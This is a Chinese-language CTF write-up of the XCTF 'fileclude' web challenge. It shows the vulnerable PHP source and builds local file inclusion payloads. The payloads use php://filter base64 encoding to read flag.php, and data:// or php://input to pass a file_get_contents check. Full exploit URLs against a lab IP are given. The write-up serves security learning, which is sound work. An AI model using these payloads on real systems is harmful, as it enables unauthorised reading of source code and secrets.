攻防世界-Web-fileclude
知识点
1.php伪协议
2.file_get_contents($file2)理解
步骤
1.打开网站,阅读php源码
?php
include("flag.php"); //包含flag
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{$file1 = $_GET["file1"];$file2 = $_GET["file2"];if(!empty($file1) && !empty($file2)) //file1和file2均存在{if(file_get_contents($file2) === "hello ctf") //读取传入的file2路径上的文件的内容{include($file1);}}elsedie("NONONO");
}
1.构造file1
flag存在flag.php,所以要读取flag.php的内容。因为直接包含flag.php,会执行里面的php代码,而无回显,所以要使用伪协议
file1=php://filter/read=convert.base64-encode/resource=flag.php
2.构造file2
file_get_contents($file2)
接收的是一个有效的文件路径,并会尝试读取该文件的内容。
当使用 data://
或 php://input
时,传递的值被解释为一种特殊的输入流,而不是文件名。
file2=data://text/plain,hello ctf
或者
file2=php://input
post提交hello ctf
3.构造payload
http://61.147.171.103:64422/index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
或者
http://61.147.171.103:64422/index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input